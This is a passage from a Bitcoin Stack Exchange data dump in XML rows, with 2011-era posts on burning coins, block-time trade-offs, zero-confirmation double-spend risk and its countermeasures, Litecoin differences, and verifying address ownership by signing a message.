algorithm is broken the probability of finding two public keys which generate the same hash (Bitcoin address) is 1 in 2^160 which is far beyond our computational power to locate.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A few words on why you should use a 'Nothing Up My Sleeve' number:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using a &quot;nothing up my sleeve number&quot; (such as a single zero, all zeroes, single repeating digit, sequential numbers, digits of pi, etc) is not required as any invalid public key is equally unspendable but it would improve public confidence that you haven't already found a collision (as improbable as that is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just take a random invalid key like say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;00000fdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some may question why you chose this specific key. The fear would be that you choose this key not randomly but because you have stumbled upon a collision between this key and a valid key.  There is no way to prove the key is random thus the fear will always remain.  Cryptographic functions (like RIPEMD or SHA-256) often use &quot;nothing up my sleeve values&quot; to provide security that a constant was not chosen to enable some cryptographic flaw or &quot;backdoor&quot; in the algorithm.  For example SHA-256 uses constants for the initial values of the block segments.  Technically these could be any random number but that would lead to concern that the 'random' number isn't actually random.  So SHA-256 uses first 32 bits of the fraction portion of the cube root of the first 8 prime numbers.  This allows verification when a pseudo random number is needed.  It is very unlikely there is some magical property between the fractional portion of the cube root of sequential prime numbers that undermines SHA-256.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Nothing_up_my_sleeve_number&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Nothing_up_my_sleeve_number&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update (03/31/2015)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is easier to do this now by using an OP_RETURN (null data) output and it doesn't bloat the UTXO with outputs that can't be spent but the network is unaware they can't be spent.  Any funds sent to an output which contains OP_RETURN are provably unspendable and the network will drop the output from the UTXO.  The UTXO (unspent tx output set) is a critical resources which is necessary for validating new transactions and blocks so destroying/burning coins using UTXO is a more responsible use of this shared resource.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-03-31T18:00:25.670" LastActivityDate="2015-03-31T18:00:25.670" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1853" PostTypeId="1" AcceptedAnswerId="5467" CreationDate="2011-11-02T21:09:55.730" Score="5" ViewCount="476" Body="&lt;p&gt;I'm trying to understand how exactly does the Bitcoin client communicate initially with another client, as I'm making my own client and learning new things about TCP protocol. As I understand, the Bitcoin client uses the standard port (8333) as a server port that is listening to other clients' communication, and the client opens up new ports as it is trying to communicate with other clients. As I'm not sure if I understand the communication correctly, I made this chart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://docs.google.com/drawings/pub?id=1Vj0sjmZqbQy97JShB1DUcEXpDiH7djdLsGFxXGFWp3E&amp;amp;w=960&amp;amp;h=720&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: is this diagram and my assumptions correct, or did I make some mistake in understanding how the protocol works?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-11-03T12:54:24.187" LastActivityDate="2012-11-24T05:00:23.963" Title="Bitcoin initial communication diagram" Tags="|client|protocol|bitcoin-core|tcp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1854" PostTypeId="2" ParentId="1851" CreationDate="2011-11-02T21:54:03.553" Score="5" Body="&lt;p&gt;If you want to be pretty sure nobody can retrieve the Bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;noreferrer&quot;&gt;the wiki article on Addresses&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Start at point 3 with an obviously fake number (like, &quot;0000000000000000000000000000000000000000&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Continue with points 4-9.&lt;/li&gt;&#xA;&lt;li&gt;You get a &lt;a href=&quot;http://blockexplorer.com/address/1111111111111111111114oLvT2&quot; rel=&quot;noreferrer&quot;&gt;&quot;valid&quot; address&lt;/a&gt; for destroying Bitcoins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the catch? As normally you'd generate the public key from a private key and hash it a couple times, in order to retrieve coins from the address you generated, one would have to find such a specific number in point 1, that after points 2 and 3 would generate your bogus number. The chance of you finding one is about 1 in 2^160, which is impossible at current computation speeds. The more orderly the number you used in point 3 is, the more people would believe that it is an obviously fake address.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-02T21:54:03.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1855" PostTypeId="2" ParentId="1845" CreationDate="2011-11-02T21:54:51.290" Score="1" Body="&lt;p&gt;Bccapi (http://code.google.com/p/bccapi/) solves the same problem as  Bitinventory and in a surprisingly similar way. Two android clients are in the making on top if the Bccapi, however so far only one fully functional console UI exists. &lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2011-11-02T21:54:51.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1856" PostTypeId="2" ParentId="1851" CreationDate="2011-11-02T22:55:43.680" Score="7" Body="&lt;p&gt;There are four basic ways, and they all work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Come up with an address that passes the basic sanity checks but is internally invalid. You can know for sure that no key could possibly match this address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put strings of characters in the address that are way beyond what anyone could generate in a vanity address. For example, if the Bitcoin address has &quot;FourScoreAndSevenYearsAgo&quot; in it, it's clearly beyond anyone's capability to find a corresponding private key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a public key that's obviously made up, such as one that consists only of zero bytes or that contains all consecutive digits of Pi. It's clearly beyond anyone's capability to find a corresponding private key. (For this one to work, you need to disclose the public key.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a hash of the public key that's obviously made up. This works the same as the option above, but the difficulty would be in even finding a public key with such a hash, much less finding the corresponding private key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-02T22:55:43.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1857" PostTypeId="2" ParentId="1843" CreationDate="2011-11-03T09:17:48.333" Score="2" Body="&lt;p&gt;Asked it in the forums, and here's the response:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?PHPSESSID=039d3d0433adcf037196613c03d139e1&amp;amp;topic=47417.msg605132#msg605132&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?PHPSESSID=039d3d0433adcf037196613c03d139e1&amp;amp;topic=47417.msg605132#msg605132&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Edit&lt;/code&gt; - &lt;a href=&quot;https://github.com/litecoin-project/litecoin/downloads&quot; rel=&quot;nofollow&quot;&gt;direct link to github downloads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="3598" LastEditDate="2013-03-26T04:45:25.500" LastActivityDate="2013-03-26T04:45:25.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1858" PostTypeId="1" AcceptedAnswerId="1861" CreationDate="2011-11-03T11:24:05.243" Score="19" ViewCount="2600" Body="&lt;p&gt;What are the differences between the Bitcoin and Litecoin algorithms and protocol? &lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2014-05-09T09:28:30.750" Title="What are the differences between Bitcoin and Litecoin?" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1859" PostTypeId="1" AcceptedAnswerId="1866" CreationDate="2011-11-03T11:24:46.647" Score="7" ViewCount="260" Body="&lt;p&gt;Let's say I want to accept payments instantly on a site for digital downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I publish an address and wait for the unconfirmed transaction, I see the transaction and release the digital download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the user may have sent the transaction with no fee. Therefore the miners may not pick it up or the user could issue a new transaction with a fee that gets processed into the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my thinking correct ? and is there away to stop this king of attack ?&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="307" LastEditDate="2011-11-03T13:10:54.733" LastActivityDate="2011-11-03T13:41:59.580" Title="Do no-fee transaction represent a greater risk if the product is delivered instantly?" Tags="|transactions|security|attack|doublespend|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1860" PostTypeId="2" ParentId="1859" CreationDate="2011-11-03T11:34:10.237" Score="3" Body="&lt;p&gt;It should get picked up eventually, but yes, the user could double-spend before that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is exactly what confirmations are for. But it is probably unlikely that you would see massive amounts of &quot;piracy&quot; due to this. I'd just write that off as a cost of doing business. If it does get out of hand, you can go back to waiting for confirmations or accepting &quot;green addresses&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that if the users are not anonymous towards you (i.e. they maintain some kind of relationship with you, even just a user registration), you have recourse (you can refuse to continue offering them access until the scores are settled). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a trade-off between relying on trust (that the user pays) versus waiting for the amount of time it takes for the confirmations.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-11-03T11:34:10.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1861" PostTypeId="2" ParentId="1858" CreationDate="2011-11-03T11:40:07.943" Score="19" Body="&lt;p&gt;Litecoin is exactly like Bitcoin, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The hashing algorithm is CPU-friendly, meaning that having powerful GPU doesn't let you mine fast.&lt;/li&gt;&#xA;&lt;li&gt;The difficulty of the blocks is set so they would be mined about every 2,5 minutes, instead of 10.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other differences are cosmetic, like aiming to generate more Litecoins than there will be Bitcoins, using different port, etc.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-03T11:40:07.943" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1862" PostTypeId="2" ParentId="1859" CreationDate="2011-11-03T12:17:49.717" Score="0" Body="&lt;p&gt;If I understand you question correctly, you could get them to give you an instawallet or maybe strongcoin address as a link where you could transfer funds directly into your wallet. &lt;/p&gt;&#xA;" OwnerUserId="573" LastActivityDate="2011-11-03T12:17:49.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1863" PostTypeId="1" AcceptedAnswerId="1864" CreationDate="2011-11-03T12:21:59.967" Score="54" ViewCount="33769" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Why_do_I_have_to_wait_10_minutes_before_I_can_spend_money_I_received.3F&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;, 10 minutes was chosen as a 'tradeoff'.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Why ten minutes specifically? It is a tradeoff chosen by Satoshi between propagation time of new blocks in large networks and the amount of work wasted due to chain splits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However in the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;original Satoshi paper&lt;/a&gt;, 10 minutes is merely assumed for the purposes of calculating disk space requirements.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A block header with no transactions would be about 80 bytes. If we suppose blocks are&#xA;generated every 10 minutes, 80 bytes * 6 * 24 * 365 = 4.2MB per year.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is there a discussion elsewhere that explains how the 10 minute block time was arrived at?&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="116912" LastEditDate="2021-03-10T01:26:39.543" LastActivityDate="2021-05-28T14:21:42.933" Title="Why was the target block time chosen to be 10 minutes?" Tags="|security|mining-theory|block-interval|" AnswerCount="5" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="1864" PostTypeId="2" ParentId="1863" CreationDate="2011-11-03T12:45:16.617" Score="41" Body="&lt;p&gt;10 minute blocks is simply a compromise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shorter block time:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PRO - Faster 1 confirmation time (to protect from 0-confirm double spend)&lt;/li&gt;&#xA;&lt;li&gt;PRO - Less payout variance for miners (less reliance on large pools)&lt;/li&gt;&#xA;&lt;li&gt;CON - Requires increased bandwidth (inter node communication)&lt;/li&gt;&#xA;&lt;li&gt;CON - More forks, longer forks, and longer re-org time&lt;/li&gt;&#xA;&lt;li&gt;CON - A greater portion of the raw hashpower is wasted, resulting in lower effective security.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With a longer block interval target of longer than 10 minutes, the pros and cons would be reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The major benefit of a shorter block time is the reduced 1 confirm time.&lt;/strong&gt;  While a quicker block's 1 confirm transaction has less strength than a longer block's 1 confirm transaction it is still better than any block's 0 confirm transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The speed of 1st confirm may seem to be a huge benefit but in reality for most low value and time sensitive transactions such as the buying a cup of coffee, paying for a taxi, or using a vending machine, the risk of double spends is very low. Keep in mind that accepting credit cards is not without risk however merchants have long accepted they will face some losses however if those losses are minimal then it can just be seen as a cost of doing business.  So many merchants could simply accept 0-confirm transactions without exposing themselves to more risk than they do from credit card fraud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other factor that diminishes the real world potential of shorter target block intervals is that for many merchants, even  &quot;faster&quot; confirmation times still isn't fast enough. For a Point of Sale transaction, an average confirmation time of 2 minutes is still significantly longer than what most merchants would consider to be workable. The average credit card transaction takes about 20 seconds (including delays by customer).  The entire industry has spent significant resources to shave even a few seconds off.  Changes like enabling customer to swipe card, swiping before all items have been rung up, and not requiring signatures on low value are all about shaving a couple seconds off an already quick process and the cost of those changes is considered acceptable in order to slightly improve the efficiency of a checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other factor is that reducing the target interval only reduces the average confirmation time but half of them will be longer and the tail can be very long. Due to the random nature of blocks solutions about 15% of blocks will take longer than 2x the target, 3% longer than 3x the target and &gt;7.5 minutes and about 0.5% will take longer than 4x the target.  That uncertainty makes it difficult for a time sensitive business to as a matter of policy wait for confirmations.  Having most transactions confirm in 30 seconds but some take minutes is going to lead to customer frustration at the point of sale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the BTC economy grows large enough we could see expanded use of &quot;green addresses&quot; to fill the need for instant acceptance without confirmations.  Such services could be provided by major corporations, and backed by insurance against fraud (for a small per transaction fee).  This would be a more viable 0-confirm solution than a simple reduction of the block interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said the 10 minute target was probably overly conservative and there are some advantages to a shorter block time.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-06-26T15:14:28.950" LastActivityDate="2015-06-26T15:14:28.950" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1865" PostTypeId="2" ParentId="1863" CreationDate="2011-11-03T12:45:20.860" Score="3" Body="&lt;p&gt;As Bitcoins are the first cryptocurrency to use block generation and so forth, one can assume 10 minutes was a arbitrarily chosen. Any value that was big enough to propagate the new block through the network before another miner would be probable to generate a new block would be good. On the other end blocks shouldn't be too scarce, as it would take too long to get confirmations. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1170/why-is-6-the-number-of-confirms-that-is-considered-secure&quot;&gt;An hour of computation&lt;/a&gt; is considered safe from being tampered with, so dividing that time into neat parts can give you 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There probably isn't any discussion available on this topic, as the first Bitcoin version was created by Satoshi alone, so until he reveals his true identity or comes back to the community, the exact reasons can't be figured out for sure.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-11-03T12:45:20.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1866" PostTypeId="2" ParentId="1859" CreationDate="2011-11-03T12:45:30.793" Score="3" Body="&lt;p&gt;You can check if a transaction includes a fee just by looking at its inputs and outputs (you can also access this information at &lt;a href=&quot;http://blockexplorer.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockexplorer.com&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you are correct: accepting transactions with 0 confirmations is risky and there are other attacks besides the one you mentioned (the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;51% attack&lt;/a&gt; and the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1184/what-can-be-done-to-mitigate-the-risk-of-a-finney-attack&quot;&gt;Finney attack&lt;/a&gt;, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few options to defend against this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wait for more confirmations - this may not be desirable but it works&lt;/li&gt;&#xA;&lt;li&gt;Accept payments from an e-wallet/exchange like &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1859/for-instant-payments-with-transaction-with-no-fee-be-an-issue/1862#1862&quot;&gt;parker_vmg3 mentioned&lt;/a&gt; - some websites such as TradeHill or CampBX allow you to send bitcoins instantaneously between members&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1730/what-are-green-addresses&quot;&gt;green addresses&lt;/a&gt; - currently these are only available at MtGox and InstaWallet, but they might become more popular in the future&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-11-03T12:45:30.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1867" PostTypeId="1" AcceptedAnswerId="1879" CreationDate="2011-11-03T12:53:50.333" Score="6" ViewCount="1353" Body="&lt;p&gt;When client A opens a connection to client B, it opens its TCP connection to second client's port 8333. Is this connection solely used for A's queries and B's answers to A's query, or can B also query A using the same connection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, A can ask B for list of known peers using this connection, but can B ask A for the same using the connection A established, or does B need to open a new connection to A's port 8333, exchange version messages, and only then send its queries?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-04T17:59:33.330" Title="Bitcoin client two-way communication" Tags="|bitcoin-core|tcp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1868" PostTypeId="2" ParentId="1859" CreationDate="2011-11-03T13:07:57.937" Score="2" Body="&lt;p&gt;The risk of a transaction never getting picked up is essentially zero.  Currently blocks are on average only 5% &quot;full&quot; so miners and mining pools tend to include all transactions.  For a transaction to never be included it would require that no miner on the planet ever include this transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it did become a risk you could always require a fee is user wants to download at 0-confirms.  You can enforce this by checking the transaction.  The fee amount if the difference between inputs and outputs.  If they are the same then there is no fee.  For users which ignore your instructions and submit a no-fee transaction you could then just wait for 1 confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The greater risk comes from a &quot;double spend&quot; or &quot;51% attack&quot; however these risks are often overestimated. Allowing digital downloads paid by credit card has risk too so achieving 0% risk isn't a viable business strategy.  Even if your software never has credit card fraud is likely has losses due to piracy so the best solution is one that maximizes net revenue not one that attempts to eliminate all fraud. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each business needs to look at the risk of their specific product.  The higher the value the more likely you should consider using confirmaiton. There is little value in executing a double spend attack to get a 1 BTC ($3 USD as of writing) copy of say &quot;Super Angry Birds&quot;.  Allowing instant downloads likely improves sales enought offset any neglible increase in fraud.   On the other hand if you are allowing downloads &amp;amp; license keys for SQL Server Enterprise at 2500 BTC a copy you probably should require confirmations.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Confirmation can only reduce not eliminate risk.&lt;/strong&gt; The less risk you have at 0 conifrms the less benefit there is in delaying your customers. The real question then becomes does the delay end up costing you more revenue than it saves you in near non-existant fraud.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-03T13:41:59.580" LastActivityDate="2011-11-03T13:41:59.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1869" PostTypeId="1" CreationDate="2011-11-03T13:39:14.293" Score="5" ViewCount="702" Body="&lt;p&gt;To perform a Finney attack or a 51% attack I need to have lots of computational power, but in this case (a website that accepts transactions with 0 confirmations) it seems to me that I only need to issue two transactions almost simultaneously. Depending on what the miner chooses to include in the next block, I might get lucky.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it that easy or am I forgetting something?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="307" LastEditDate="2011-11-03T13:53:56.427" LastActivityDate="2019-02-25T13:27:09.660" Title="How to perform a double spend attack in websites that accept transactions with 0 confirmations?" Tags="|security|attack|confirmations|doublespend|fraud|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1870" PostTypeId="2" ParentId="1869" CreationDate="2011-11-03T13:53:26.583" Score="7" Body="&lt;p&gt;If you are attempting a 0-confirm double spend then which transactions (if any) are included in the next block is irrelevant.  Your goal is to simply complete both transaction prior to either merchant getting notification of the other one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;problem&quot; is that the network is fairly quick at passing transactions from one node to the next.  Unless you have located an inefficiency in the network, a bottleneck, or actively degrading network performnce is unlikely you will complete both transactions before the merchant sees both halves of the double spend.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An effective countermeasure would be for the merchant to introduce a short delay between the time they detect your 0-confirm transaction and when they give you access to the purchased item or service.   Say you execute a perfectly timed double spend.  The merchant sees their transaction and waits 60 seconds.  60 seconds is a long time for transactions to not propagate the network.  If at any point in that 60 seconds the merchant sees the &quot;other&quot; transaction you have failed.   Unlike other forms of fraud you will lose the funds as your double spend is irrevocable.  It will just be luck on which merchant gets paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also many transactions are not irreversible.  Software which has a license key can have the license key revoked.  Many giftcards can be reported as stolen to freeze the funds.  Any subscription based site would grant you at most a few seconds of service before cutting you off.  Product which require physical deliver are never going to be shipped fast enough to execute a double spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risk of a 0-confirm double sped is low but security can be improved by designing ultra fast low latency &quot;super nodes&quot;.  A service provider could setup a network of Bitcoin nodes around the world with low latency links between them.  Each of these nodes would be running modified version of bitcoind to maximize the number of connections, establishing thousands or even tens of thousands of connections to peers.  No matter where the two halves of the double spend originate it would be only a few hops to a super node.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a merchant only accepts transactions from the super node network then you would be unable to complete the double spend.  Either the network has seen both transactions and the double spend is detected or they haven't in which case one of the merchants won't give access to the item purchased.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="5" LastEditDate="2011-11-03T22:29:59.613" LastActivityDate="2011-11-03T22:29:59.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1871" PostTypeId="1" CreationDate="2011-11-03T16:02:50.577" Score="3" ViewCount="208" Body="&lt;p&gt;Let's say I have a bitcoin address that I want to make a payment from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that to create a payment from that address I need to get the unspent outs. Can I get that information from BlockExplorer ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if so to create the payment do I just need the transaction hash of the transaction containing the out and the index of the out ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;Update : *&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can assume I have the private key. So what I'm looking for is a list of unspent outs by public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see how to retrieve transactions for an address i.e. &lt;a href=&quot;http://blockexplorer.com/q/mytransactions/1JjvT5HoVoqhyLN2cb9imMsN9HgYAK268m&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/mytransactions/1JjvT5HoVoqhyLN2cb9imMsN9HgYAK268m&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;Update 2 : *&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should have mentioned that I want to do this programmitcally, i.e. through the BlockExplorer query API. &lt;a href=&quot;http://blockexplorer.com/q&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2011-11-03T16:46:44.510" LastActivityDate="2013-12-10T14:04:32.637" Title="Can I get all the information I need to create a payment transaction from BlockExplorer?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1872" PostTypeId="2" ParentId="1099" CreationDate="2011-11-03T16:15:51.040" Score="2" Body="&lt;p&gt;For the first part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, this is possible, and doesn't require having a high hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, it is not an attack. It is important to realize that disagreement between nodes on what the last block is is perfectly fine. The protocol specifies that, among branches of the highest length, every node builds on the first one he learned about. In your scenario you learned about your own block before the other one, so by default you should build on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you should do this because it's more profitable. If you build on your own block, then if you find the next block you get the rewards of the two blocks. If you built on the other one you'd only get the reward for the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, this is an attack which is closely related (if not identical) to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2227.msg30083#msg30083&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, and can be profitable if you have at least 41% (that's right, only 41%, not 51%) of the hashrate.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-11-03T16:15:51.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1873" PostTypeId="2" ParentId="1871" CreationDate="2011-11-03T16:17:43.957" Score="5" Body="&lt;p&gt;To create a payment, you need a private key with an associated public key that has funds, a public key of the recipient, have the hash of the last transaction made on your public key, and perform some hashing on all of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block explorer provides all the information but the private key. If you have that, you can generate a valid transaction on your own.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-03T16:17:43.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1874" PostTypeId="1" AcceptedAnswerId="1875" CreationDate="2011-11-03T17:06:13.150" Score="7" ViewCount="511" Body="&lt;p&gt;Lets say, I'd have a website that shows a large number of Bitcoin public addresses, and wanted to give option for anyone that owns a given address to verify it automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that one shouldn't trust anyone on the internet based just on their word, how should one go about verifying that a person owns a given address? (methods that can run autonomously, without admin input, are preferred)&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2011-11-03T22:48:44.577" LastActivityDate="2011-11-04T19:48:41.510" Title="How should one try verifying to whom a given Bitcoin address belongs?" Tags="|address|trust|verification|automation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1875" PostTypeId="2" ParentId="1874" CreationDate="2011-11-03T17:48:05.963" Score="10" Body="&lt;p&gt;The v0.5 client (still experimental as of time of writing) supports a function where you can sign a text message with a private key.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could:&#xA;a) have a &quot;register&quot; button next to the address.&#xA;b) provide the user a message to sign which includes some identifying information (account name, email address, etc) and the address.&#xA;c) user will run bitcoind signmessage  &quot;&quot;&#xA;d) this will sign the message with user's private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only a user which has access to the private key that corresponds to the address in question will be able to generate the correct signature.  Think of it as similar to a Bitcoin transaction but it isn't published to Bitcoin network and involves any text message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eligius uses this method to link NMC payment addresses to BTC payment addresses for his pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://eligius.st/&quot; rel=&quot;noreferrer&quot;&gt;http://eligius.st/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this will have more value once Bitcoind v0.05 is publicly released.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-11-03T17:48:05.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
